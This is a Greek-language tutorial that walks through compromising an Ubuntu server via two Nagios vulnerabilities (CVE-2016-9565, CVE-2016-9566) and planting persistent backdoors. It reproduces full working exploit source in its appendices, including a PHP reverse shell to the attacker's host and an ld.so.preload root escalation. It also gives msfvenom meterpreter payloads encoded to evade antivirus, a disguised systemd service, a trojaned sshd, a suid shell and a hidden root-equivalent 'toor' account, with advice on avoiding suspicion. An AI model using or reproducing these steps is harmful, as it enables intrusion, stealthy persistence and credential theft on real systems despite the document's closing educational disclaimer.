Εγκατάσταση Persistent Linux su Backdoor

Δημήτριος Πολίτης
Αθήνα, Ελλάδα

19 Δεκεμβρίου 2016

Περιεχόμενα

Περίληψη

Είναι ευρέως διαδεδομένο οτι τα συστήματα Windows αντιμετωπίζουν τους περισσότερους κινδύνους ασφαλείας, καθώς κατέχουν τη μερίδα του λέοντος στην αγορά των ΛΣ και τα περισσότερα exploits στοχεύουν εκεί. Στην παρούσα εργασία θα προσπαθήσουμε να ξεφύγουμε από την παραπάνω νόρμα και θα εγκαταστήσουμε ένα μόνιμο su backdoor σε ένα debian-based Linux μηχάνημα. Το παρόν, παρέχεται υπό τους όρους της αδείας GPLv3 και είναι διαθέσιμο στο διαδίκτυο, από την ιστοσελίδα: https://github.com/dpolitis/Linux-su-Backdoor/

1 Περιγραφή Στόχου και Τρόπου Επιθέσεως

Παρακάτω θα περιγράψουμε τα εργαλεία που θα χρησιμοποιηθούν, καθώς και το σύστημα στο οποίο θα προσπαθήσουμε να εγκαταστήσουμε τη backdoor.

1.1 Σύστημα Στόχος

Το σύστημα στόχος είναι ένα Ubuntu Server 16.04, στην minimal - default εγκατάσταση. Επιπλέον, έχει ενεργοποιηθεί μια ευπαθής έκδοση του nagios-core (4.1.1), η οποία χρησιμοποιείται για την αρχική πρόσβαση. [2]:

Το nagios είναι ένα σύστημα παρακολούθησης των συστημάτων και της δικυακής υποδομής, συνήθως εντός του DMZ. Λόγω της φύσεως της εργασίας που επιτελεί, το σύστημα που φιλοξενεί την εγκατάσταση του nagios, έχει πρόσβαση σε όλα τα μηχανήματα του DMZ (ανοιχτές πόρτες σε firewall και πρόσβαση μέσω ssh, sql κτλ). Όλα τα παραπάνω καθιστούν το υπόψη σύστημα πρώτης τάξεως στόχο επίθεσης για απόκτηση και διατήρηση πρόσβασης σε ένα δίκτυο.

1.2 Περιγραφή Επίθεσης

Η επίθεση στο υπόψη σύστημα χωρίζεται στις εξής φάσεις:

Απόκτηση Πρόσβασης Η απόκτηση πρόσβασης στο υπόψη σύστημα γίνεται με remote exploitation μιας ευπάθειας που εμφανίζουν οι εκδόσεις του nagios-core μικρότερες του 4.2.2 [2]. Με τον τρόπο αυτό επιτυγχάνεται η σύνδεση σε remote shell με τα δικαιώματα του χρήστη που τρέχει το nagios service.

Επαύξηση Δικαιωμάτων Αφορά στην εκμετάλευση ευπάθειας στο nagios-core [1] για αποκτηση δικαιωμάτων root.

Εγκατάσταση Μόνιμης backdoor Μετά την πρόσβαση με δικαιώματα υπερχρήστη στο σύστημα στόχο, δημιουργούμε το κατάλληλο encoded payload, το οποίο και ανεβάζουμε στο στόχο. Στη συνέχεια δημιουργούμε ένα systemd service με κατάλληλο όνομα, που δε δημιουργεί υποψίες και το ενεργοποιούμε, ώστε να εκτελεί την backdoor κατά την έναρξη του συστήματος. Επίσης, σε αυτή τη φάση αφήνουμε στο PATH του συστήματος backdoored ή suid εκτελέσιμα και δημιουργούμε κατάλληλους χρήστες για τη διατήρηση απομακρυσμένης πρόσβασης.

Στο επόμενο μέρος παρουσιάζεται αναλυτικά η διαδικασία της εγκατάστασης μόνιμης backdoor σε ΛΣ Linux.

2 Εγκατάσταση Μόνιμης backdoor σε ΛΣ Linux

Το μέρος αυτό αφορά στην εξασφάλιση πρόσβασης και την εγκατάσταση μόνιμης backdoor, σε μια τυπική εγκατάσταση Ubuntu Server 16.04LTS, με τον τρόπο που περιγράφηκε παραπάνω.

2.1 Αρχική πρόσβαση

Θεωρούμε οτι η πρόσβαση μέσω δικτύου γίνεται στο ίδιο subnet, αν και το reverse shell είναι εύκολο να δουλέψει και μέσα από διαφορετικά δίκτυα με τη χρήση portforwarding από την πλευρά του επιτιθέμενου.

Η IP του επιτιθέμενου είναι 192.168.232.1 και του συστήματος στόχου 192.168.232.128. Έχουμε ανιχνεύσει μέσω του Nessus ή με τη χρήση portscanning, οτι το σύστημα στόχος τρέχει τη συγκεκριμένη ευπαθή έκδοση του nagios [2]. Ξεκινάμε τρέχοντας το python script του παραρτήματος Α′. Έπειτα επισκεπτόμαστε το http://192.168.232.128/nagios/rss-corefeed.php και ανοίγει το remote shell:

```
root@kali# ./nagios_cmd_injection.py 192.168.232.128

Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
CVE-2016-9565
nagios_cmd_injection.py ver. 1.0

Discovered & Coded by:

 Dawid Golunski
 https://legalhackers.com

[+] Generating SSL certificate for our python HTTPS web server

[+] Starting the web server on ports 80 & 443

[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your
dnsspoof magic... ;)

[+] Received GET request from Nagios server (192.168.232.128) ! Sending redirect to inject our curl payload:

-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/
local/nagios/share/nagios-backdoor.php

[+] Success, curl payload injected! Received data back from the Nagios server 192.168.232.128

[*] Contents of /etc/passwd file from the target:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
nagios:x:1001:1001::/home/nagios:/bin/sh
[..cut..]

[*] Contents of /usr/local/nagios/etc/htpasswd.users file:

nagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0

[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data

[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)

[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php
```

```
in no time :)

[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now!

[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)

Listening on [0.0.0.0] (family 0, port 8080)
Connection from [192.168.232.128] port 8080 [tcp/http-alt] accepted (family 2, sport 38718)

www-data@ubuntu:/usr/local/nagios/share$
```

Υπόψιν οτι για να δουλέψει το backdoor, πρέπει να πάρουμε πρόσβαση στο DNS Server του δικτύου ή να ορίσουμε έναν δικό μας στο δίκτυο (π.χ. με εισαγωγή ενός δικού μας DHCP Server ή με DNS Spoofing), ο οποίος να κατευθύνει το domain *.nagios.org στην ip του επιτιθέμενου.

2.2 Επαύξηση Δικαιωμάτων

Τοποθετούμε το session που άνοιξε, στο υπόβαθρο. Στη συνέχεια αποκτούμε πρόσβαση υπερχρήστη, εκμεταλευόμενοι συγκεκριμένη αδυναμία του nagios [1]. Για να το επιτύχουμε αυτό, τρέχουμε το bash script του παραρτήματος B′

```
www-data@ubuntu:/usr/local/nagios/share$ cd /tmp
www-data@ubuntu:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log

Nagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566)
nagios-root-privesc.sh (ver. 1.0)

Discovered and coded by:

Dawid Golunski
https://legalhackers.com

[+] Starting the exploit as:
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)

[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)

[+] Backdoor/low-priv shell installed at:
-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh

[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at:
lrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload

[+] Waiting for Nagios service to get restarted...
Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y

[+] Nagios stopped. Shouldn't take long now... ;)

[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges:
-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload

[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload

[+] The /etc/ld.so.preload file now contains:
[1481463869] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so

[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh

Got root via Nagios!

[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now

nagiosrootsh-4.3#
```

Οι παραπάνω εντολές μας δίνουν το shell που αποκτήσαμε αρχικά, αλλά πλέον με δικαιώματα υπερχρήστη.

2.3 Εγκατάσταση backdoor

Μπορούμε τώρα να δημιουργήσουμε το payload που θα χρησιμοποιήσουμε για την backdoor. Χρησιμοποιούμε την πόρτα 443, ώστε το traffic να μην εγείρει υποψίες (φυσιολογική κίνηση). Επίσης η συγκεκριμένη επιλογή πόρτας συνήθως μας εξασφαλίζει οτι η κίνησή μας δε φιλτράρεται, γιατι το https inspection κατά κανόνα αποφεύγεται για νομικούς λόγους... Σε ένα νέο shell στο τοπικό μηχάνημα πληκτρολογούμε:

```
root@kali# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.1 LPORT=443 -e x86/shikata_ga_nai
-i 4 -f elf -o muser

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 4 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai succeeded with size 125 (iteration=1)
x86/shikata_ga_nai succeeded with size 152 (iteration=2)
x86/shikata_ga_nai succeeded with size 179 (iteration=3)
x86/shikata_ga_nai chosen with final size 179
Payload size: 179 bytes
Final size of elf file: 263 bytes
Saved as: muser
```

Δημιουργήσαμε με αυτό τον τρόπο ένα meterpreter reverse tcp backdoor το οποίο και κωδικοποιήσαμε 4 φορές, ώστε να αποφύγουμε την ανίχνευσή του από κάποιο antivirus ή IPS/IDS.

Το επόμενο βήμα είναι το ανέβασμα του payload στο μηχάνημα στόχο. Επειδή δεν θέλουμε να δημιουργήσουμε υποψίες με νέες συνδέσεις, δε θα χρησιμοποιήσουμε netcat, ftp, wget, curl ή κάποιο άλλο τρόπο μετάδοσης αρχείων. Αντίθετα θα βασιστούμε στο μικρό μέγεθος του payload και στο remote shell, που έχουμε ήδη. Θα κωδικοποιησουμε το binary payload σε base64 και θα κάνουμε αντιγραφή και επικόλληση τους ASCII χαρακτήρες που προκύπτουν, μέσω του remote shell σε νέο αρχείο. Στη συνέχεια αποκωδικωποιούμε το αρχείο αυτό και έχουμε το αρχικό binary payload έτοιμο στην απέναντι πλευρά...

```
root@kali# base64 muser
```

Κάνουμε τώρα αντιγραφή τους χαρακτήρες από το stdout και επικόλληση τους εντός εισαγωγικών σε μια εντολή echo στο remote shell.

```
root@kali# echo "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAAEAAAAA
AAAAAIAECACABAgHAQAAugEAAAcAAAAAEAAA28rZdCT0WjPJsSe9OTlI1TFqF4Pq/ANTKqogeZbz
v1nTvoi+LG5X65shSNpMWgrzj1lb142caebWxBOrESvlvNSkNtyf+h+oi4yotVJPtXJXc27I12Fm
Mydi3x3TkNGdeCeK60OXfQRjbXTpkNjDWqcRaSVDXZ6Rwyoa8tW5haSFGHh13BNYxnbRPsIl9enX
E2h9gaWQTAxWZvSBMeCXbTqVWJNeQMfvqC7dCdhMoJAQrXQ=" > muser64

root@kali# base64 -d muser64 > muser && rm muser64
```

Με τη backdoor στο μηχάνημα στόχο, μας μένει μόνο να δημιουργήσουμε το service και να μετακινήσουμε το εκτελέσιμο σε θέση που δεν εγείρει υποψίες.

```
root@kali# cp muser /usr/bin/muser

root@kali# cat > /etc/systemd/system/multiple-user.service << EOF
[Unit]
Description=System Multiuser Configuration

[Service]
ExecStart=/usr/bin/muser
User=root
```

```
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
EOF

root@kali# systemctl enable multiple-user
```

Το service δημιουργείται με τρόπο ώστε να γίνεται αυτόματη επανεκκίνησή του εφόσον δεν είναι ενεργό. Επίσης προσπαθεί να συνδεθεί ανά 3 δευτερόλεπτα. Αυτό γίνεται γιατί το payload είναι φτιαγμένο ώστε να κάνει segfault όταν δε μπορεί να συνδεθεί με το απομακρυσμένο μηχάνημα. Έτσι σε κάθε αποτυχία σύνδεσης επαννεκινεί το service.

Θα ανοίξουμε τώρα σε ένα άλλο τοπικό shell το msfconsole και θα ενεργοποιήσουμε τον multi-handler στη πόρτα 443.

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.232.1
LHOST => 192.168.232.1
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
```

Επιστρέφουμε στο remote shell και ΄σηκώνουμε΄ το service.

```
systemctl start multiple-user
```

Μπορούμε τώρα να κλείσουμε το αρχικό remote shell, καθώς έχουμε μόνιμο reverse meterpreter shell...

Στις περισσότερες περιπτώσεις επιθυμούμε να αφήσουμε πίσω μας εναλλακτικές su backdoor, σε περίπτωση που ανακαλυφθει το reverse shell ή παίρνουμε πρόσβαση μόνο σε non-elevated shell. Μπορούμε να το επιτύχουμε αυτό με τους παρακάτω τρόπους:

Ενσωμάτωση του reverse meterpreter shell σε ένα εκτελέσιμο Στην περίπτωση αυτή χρησιμοποιούμε ένα υπάρχον service, το οποίο τρέχει με αυξημένα δικαιώματα και τροποποιούμε το εκτελέσιμο, ώστε να δημιουργεί παράλληλα με τη λειτουργία του και ένα thread ή process για το reverse meterpreter shell.

Για να το επιτύχουμε αυτό κατεβάζουμε από το σύστημα στόχο το εκτελέσιμο, μέσω του reverse meterpreter shell και το τροποποιούμε ώστε να περιέχει το payload. Στο παράδειγμα μας, αυτό γίνεται ως εξής:

```
meterpreter > download /usr/sbin/sshd
```

Σε ένα τοπικό shell πληκτρολογούμε:

```
root@kali# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.1 LPORT=443 -x sshd -e x86/
shikata_ga_nai -i 4 -k -f elf -o sshd2
```

Και έπειτα στο meterpreter shell:

```
meterpreter > upload sshd2
meterpreter > mv sshd2 /usr/sbin/sshd
meterpreter > systemctl restart sshd
```

Χρησιμοποίηση Εκτελέσιμου με Δικαιώματα suid Σε αυτή την περίπτωση αντιγράφουμε ένα υπάρχον εκτελέσιμο (συνήθως το /bin/bash) στο PATH και του δίνουμε δικαιώματα suid. Έτσι μπορούμε να πάρουμε root shell ακόμα και ως απλοί χρήστες.

```
meterpreter > cp -a /bin/dash /bin/tash
meterpreter > chmod a+s /bin/tash
```

Αυτή η διαδικασία δουλεύει καλύτερα αν υπάρχει και ένας χρήστης μας στο μηχάνημα, όπως παρακάτω:

Δημιουργία superuser ή Απλου Χρήστη Με αυτή τη διαδικασία δημιουργούμε διάφορους χρήστες ανάλογα με τις επιθυμίες μας, οι οποίοι μπορούν να έχουν πρόσβαση μέσω ssh, rlogin στο μηχάνημα στόχο. Στο παράδειγμα δημιουργούμε τρεις χρήστες: έναν απλό, έναν sudoer και ένα αντίγραφο του root (toor). Ο χρήστης toor συχνά δεν εγείρει υποψίες γιατί υπάρχει ενσωματωμένος σε πολλά BSD-Like συστήματα. Ο απλός χρήστης γίνεται root εάν τρέξει το suid εκτελέσιμο από την προηγούμενη παράγραφο.

```
meterpreter > useradd -m -U -G sudo user1
meterpreter > passwd user1
meterpreter > useradd -m -U user2
meterpreter > passwd user2
meterpreter > echo 'toor:*:17153:0:99999:7:::' >> /etc/shadow
meterpreter > echo 'toor:x:0:0:toor:/toor:/bin/sh' >> /etc/passwd
meterpreter > passwd toor
```

Μπορούμε να αλλάξουμε τη σειρά στις γραμμές των /etc/shadow, /etc/passwd, ώστε αυτές που αφορούν στο χρήστη toor να είναι ακριβώς κάτω από του root, ώστε να μην εγείρουμε υποψίες.

3 Συμπεράσματα

Στο παρόν, περιγράφηκε η διαδικασία αρχικής πρόσβασης και διατήρησης αυτής, μέσω μιας μόνιμης meterpreter reverse tcp backdoor σε μια βασική εγκατάσταση ΛΣ Ubuntu Linux 16.04. Δόθηκαν αναλυτικά οι εντολές και τα βήματα για την επίτευξη του παραπάνω σκοπού. Τονίζεται οτι όλες οι παραπάνω πληροφορίες παρέχονται μόνο για εκπαιδευτικούς σκοπούς και σε καμία περίπτωση δεν έχουν σκοπό να προάγουν έκνομες ενέργειες.

Παραρτήματα

A′ Python Script source code

```
#!/usr/bin/env python
intro = """\033[94m
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
CVE-2016-9565
nagios_cmd_injection.py ver. 1.0

Discovered & Coded by:

Dawid Golunski
https://legalhackers.com
\033[0m
"""
usage = """
This PoC exploit can allow well-positioned attackers to extract and write
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines.

For details, see the full advisory at:
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

PoC Video:
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

Follow https://twitter.com/dawid_golunski for updates on this advisory.

Remember you can turn the nagios shell into root shell via CVE-2016-9565:
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html

Usage:

./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]

Disclaimer:
For testing purposes only. Do no harm.

"""

import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop

exploited  = 0
docroot_rw = 0

class MainHandler(tornado.web.RequestHandler):

    def get(self):
  global exploited
  if (exploited == 1):
    self.finish()
  else:
    ua  = self.request.headers['User-Agent']
    if "Magpie" in ua:
      print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl
      payload:\n" % self.request.remote_ip
      print  '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users
      --trace-ascii ' + backdoor_path + '\n'
      self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group
      -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
      exploited = 1

    def post(self):
```

```
        global docroot_rw
    print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" %
    self.request.remote_ip

    # Extract /etc/passwd from the target
        passwd = self.request.files['passwd'][0]['body']
    print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd

    # Extract /usr/local/nagios/etc/htpasswd.users
        htauth = self.request.files['htauth'][0]['body']
    print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth

    # Extract nagios group from /etc/group
        group = self.request.files['group'][0]['body']
    for line in group.splitlines():
        if "nagios:" in line:
      nagios_group = line
      print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
    if "www-data" in nagios_group:
      print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
      docroot_rw = 1

    # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl
    'trace-ascii'
    # option. The output trace should contain  an unwrapped line similar to:
    #
    # == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'");
    ?> is not blacklisted
    #
    # which will do the trick as it won't mess up the payload :)
    self.add_header('Server', backdoor)

    # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php
    via <img src=> tag :)
    print "[*] Feed XML with JS payload returned to the client in the response. This should load
    nagios-backdoor.php in no time :) \n"
    self.write(xmldata)

    self.finish()
    tornado.ioloop.IOLoop.instance().stop()


if __name__ == "__main__":
    global backdoor_path
    global backdoor

    print intro

    # Set attacker's external IP & port to be used by the reverse shell
    if len(sys.argv) < 2 :
     print usage
     sys.exit(2)
    attacker_ip   = sys.argv[1]
    if len(sys.argv) == 3 :
     attacker_port = sys.argv[1]
    else:
     attacker_port = 8080

    # PHP backdoor to be saved on the target Nagios server
    backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
    backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'");
    die("stop processing"); ?>""" % (attacker_ip, attacker_port)

    # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
    global xmldata
    xmldata = """<?xml version="1.0"?>
    <rss version="2.0">
          <channel>
            <title>Nagios feed with injected JS payload</title>
            <item>
              <title>Item 1</title>
              <description>
```

```
            &lt;strong&gt;Feed injected. Here we go &lt;/strong&gt; -
            loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for
            nagios shell ;)

            &lt;img src=&quot;/nagios/nagios-backdoor.php&quot; onerror=&quot;alert('Reverse Shell
            /nagios/nagios-backdoor.php executed!')&quot;&gt;

          </description>

        </item>

      </channel>
</rss> """


# Generate SSL cert
print "[+] Generating SSL certificate for our python HTTPS web server \n"
os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req  -nodes -new -x509  -keyout server.key -out
server.cert 2>/dev/null")

print "[+] Starting the web server on ports 80 & 443 \n"
application = tornado.web.Application([
    (r'/.*', MainHandler)
])
application.listen(80)
http_server = tornado.httpserver.HTTPServer(
    application,
    ssl_options = {
        "certfile": os.path.join("./", "server.cert"),
        "keyfile": os.path.join("./", "server.key"),
    }
)
http_server.listen(443)

print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php).
Time for your dnsspoof magic... ;)\n"
tornado.ioloop.IOLoop.current().start()

if (docroot_rw == 1):
  print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
  print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via
  CVE-2016-9566 :)\n"
  os.system("nc -v -l -p 8080")
  print "\n[+] Shell closed\n"

print "[+] That's all. Exiting\n"
```

B′ Bash Script source code

```
#!/bin/bash
#
# Nagios Core < 4.2.4  Root Privilege Escalation PoC Exploit
# nagios-root-privesc.sh (ver. 1.0)
#
# CVE-2016-9566
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory
#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account,
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Video PoC:
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# CVE-2016-9565:
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nagiosrootsh"
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
SUIDBIN="/usr/bin/sudo"
commandfile='/usr/local/nagios/var/rw/nagios.cmd'

function cleanexit {
  # Cleanup
  echo -e "\n[+] Cleaning up..."
  rm -f $PRIVESCSRC
  rm -f $PRIVESCLIB
  rm -f $ERRORLOG
  touch $ERRORLOG
  if [ -f /etc/ld.so.preload ]; then
    echo -n > /etc/ld.so.preload
  fi
  echo -e "\n[+] Job done. Exiting with code $1 \n"
  exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
  cleanexit 0
```

```
}

#intro

echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566)
\nnagios-root-privesc.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q nagios
if [ $? -ne 0 ]; then
  echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
  exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f "$ERRORLOG" ]; then
  echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
  echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
  exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("$BACKDOORPATH", 0, 0);
    chmod("$BACKDOORPATH", 04777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
  echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
  echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  exit 2
fi

# Symlink the Nagios log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
  echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
  cleanexit 3
fi
```

```
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at:
\n`ls -l $ERRORLOG`"

{
# Wait for Nagios to get restarted
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
  /usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
fi
sleep 3s
ps aux | grep -v grep | grep -i 'bin/nagios'
if [ $? -ne 0 ]; then
  echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
fi
while :; do
  sleep 1 2>/dev/null
  if [ -f /etc/ld.so.preload ]; then
    rm -f $ERRORLOG
    break;
  fi
done

echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges:
\n`ls -l /etc/ld.so.preload`"

# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
# -rw-r--r-- 1 nagios nagios
# Only 'nagios' user can write to it, but 'nagios' group can not.
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command
# file/pipe nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command
# which will inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload
# file :)

sleep 3s  # Wait for Nagios to create the nagios.cmd pipe
if [ ! -p $commandfile ]; then
  echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
  exit 2
fi
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
now=`date +%s`
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
sleep 1s
grep -q "$PRIVESCLIB" /etc/ld.so.preload
if [ $? -eq 0 ]; then
  echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
else
  echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
  exit 2
fi

} 2>/dev/null

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
if [ $? -eq 0 ]; then
  echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  echo -e "\n\033[94mGot root via Nagios!\033[0m"
else
  echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
  cleanexit 2
fi

# Use the rootshell to perform cleanup that requires root privileges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
rm -f $ERRORLOG
echo > $ERRORLOG
```

```
# Execute the rootshell
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
```

Βιβλιογραφία

[1] Golunski, Dawid: *Nagios core prior to 4.2.4 - root privilege escalation*, 2016. https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html, επίσκεψη την 2016-12-18.

[2] Golunski, Dawid: *Nagios prior to 4.2.2 - arbitrary code execution*, 2016. https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html, επίσκεψη την 2016-12-18.